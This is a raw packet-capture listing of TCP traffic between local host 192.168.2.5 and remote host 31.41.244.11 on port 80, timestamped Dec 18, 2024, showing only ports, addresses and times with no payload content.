Dec 18, 2024 15:22:10.995038986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.995081902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.996750116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.996824026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.996870041 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.996939898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.998589993 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.998708963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.998713970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.998785973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.000446081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.000504971 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.000557899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.000628948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.002286911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.002389908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.002415895 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.002486944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.004149914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.004231930 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.004292011 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.004358053 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.005964994 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.006019115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.006088018 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.006146908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.007808924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.007893085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.007936001 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.008002043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.009658098 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.009784937 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.009845018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.009845018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.011533976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.011631012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.011667013 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.011720896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.013390064 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.013484955 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.013551950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.013551950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.015249014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.015338898 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.015347958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.015470982 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.017051935 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.017118931 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.017182112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.017294884 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.018924952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.019035101 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.019098997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.019154072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.020741940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.020812988 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.020879984 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.020934105 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.022619009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.022708893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.022717953 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.022778034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.024430037 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.024485111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.024550915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.024599075 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.026314974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.026396990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.026470900 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.026526928 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.028244019 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.028359890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.028404951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.028404951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.029970884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.030122995 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.124696016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.124814034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.124973059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.125122070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.125489950 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.125579119 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.125659943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.125659943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.126959085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.127038002 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.127530098 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.127588034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.127633095 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.127712965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.129081964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.129126072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.129216909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.129216909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.130652905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.130759954 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.130784988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.130961895 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.132105112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.132203102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.132204056 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.132335901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.133579969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.133662939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.133738995 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.133739948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.135710001 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.135735035 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.135921001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.136502028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.136574984 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.136586905 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.136635065 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.138000965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.138087034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.138117075 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.138192892 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.139370918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.139467001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.139508009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.139581919 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.140757084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.140846968 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.140852928 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.140938044 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.142241001 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.142318010 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.142342091 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.142379045 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.146090031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.146112919 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.146135092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.146173000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.146193027 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.146239996 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.146282911 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.147059917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.147083044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.147195101 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.147195101 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.147780895 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.147834063 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.147916079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.147965908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.152100086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.152158022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.152199030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.152199030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.152319908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.152355909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.152380943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.152407885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.152590990 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.152626038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.152647972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.152678967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.153876066 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.153930902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.154047012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.154097080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.155373096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.155410051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.155462980 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.155462980 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.156424999 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.156490088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.156579018 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.156667948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.157879114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.157929897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.157946110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.158054113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.159041882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.159130096 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.159281969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.159331083 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.160370111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.160464048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.160538912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.160641909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.161495924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.161540985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.161551952 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.161603928 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.163027048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.163088083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.163129091 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.163129091 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.164221048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.164284945 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.164380074 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.164438009 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.165577888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.165750027 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.165776014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.165808916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.166929007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.167032957 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.167117119 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.167236090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.168503046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.168540001 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.168576956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.168576956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.169568062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.169661045 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.169723988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.169775963 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.170723915 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.170789003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.170897007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.170952082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.172033072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.172100067 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.172264099 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.172350883 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.173484087 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.173558950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.173690081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.173775911 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.174887896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.175012112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.175079107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.175132036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.175955057 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.175991058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.176028967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.176028967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.177598953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.177634954 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.177714109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.177714109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.178873062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.178940058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.179023027 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.179076910 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.179801941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.179836035 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.179855108 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.179908991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.181273937 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.181397915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.181430101 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.181493998 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.182801962 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.182837963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.182859898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.182940960 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.184036970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.184075117 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.184097052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.184128046 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.185252905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.185286999 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.185314894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.185353994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.185585022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.185656071 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.185786963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.185935020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.187006950 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.187066078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.187335014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.187387943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.188328981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.188384056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.188416004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.188468933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.189501047 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.189609051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.189651012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.189651012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.190855026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.190912962 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.190962076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.191031933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.192140102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.192207098 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.192214012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.192281008 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.193512917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.193569899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.193612099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.193612099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.194813967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.194915056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.194942951 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.195046902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.316894054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.316926956 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.317017078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.317017078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.317150116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.317272902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.317303896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.317363024 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.318263054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.318329096 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.318388939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.318443060 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.319331884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.319417953 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.319480896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.319560051 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.320430994 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.320532084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.320561886 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.320588112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.321508884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.321557999 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.321599007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.321670055 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.322632074 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.322669029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.322698116 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.322746992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.323671103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.323746920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.323785067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.323901892 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.324760914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.324835062 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.324899912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.324950933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.325799942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.325874090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.325938940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.325994015 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.326914072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.326967955 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.327111959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.327187061 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.327975035 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.328057051 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.328110933 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.328150988 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.329058886 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.329124928 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:11.329163074 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:11.329210043 CET	49910	80	192.168.2.5	31.41.244.11
